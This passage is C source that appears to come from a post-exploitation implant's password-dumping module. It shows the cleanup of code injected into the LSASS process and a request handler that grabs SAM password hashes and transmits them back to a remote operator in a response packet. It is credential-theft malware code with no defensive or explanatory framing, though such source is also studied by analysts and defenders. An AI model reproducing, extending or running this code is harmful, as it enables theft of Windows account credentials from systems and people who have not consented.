  517. if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }
  518. /* free the remote thread handle */
  519. if (hThreadHandle) { CloseHandle(hThreadHandle); }
  520. /* free the results structure including individually malloced space for usernames */
  521. if (UsernameHashResults) {
  522. for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
  523. if (UsernameHashResults[dwCurrentUserIndex].Username) {
  524. free(UsernameHashResults[dwCurrentUserIndex].Username);
  525. }
  526. }
  527. free(UsernameHashResults);
  528. }
  529. /* return hashresults */
  530. *hashresults = hashstring;
  531. /* return the correct code */
  532. return dwError;
  533. }
  534. /*
  535. * Grabs the LanMan Hashes from the SAM database.
  536. */
  537. DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
  538. {
  539. Packet *response = packet_create_response(packet);
  540. DWORD res = ERROR_SUCCESS;
  541. char *hashes = NULL;
  542. do
  543. {
  544. // Get the hashes
  545. if (control(120000, &hashes))
  546. {
  547. res = GetLastError();
  548. break;
  549. }
  550. packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
  551. } while (0);
  552. packet_transmit_response(res, remote, response);
  553. if (hashes)
  554. free(hashes);
  555. return res;
  556. }